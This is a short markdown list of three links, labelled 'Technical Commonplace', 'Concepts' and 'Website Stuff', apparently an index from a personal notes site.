- [Technical Commonplace](id:37495d5f-2a77-40bc-b45c-8163189bbe6b)
|
||||
|
||||
- [Concepts](id:22737796-6D31-49D5-84F2-F7BC73E45144)
|
||||
|
||||
- [Website Stuff](id:84c371ea-6789-450e-978c-f1d77e725f4b)
|
||||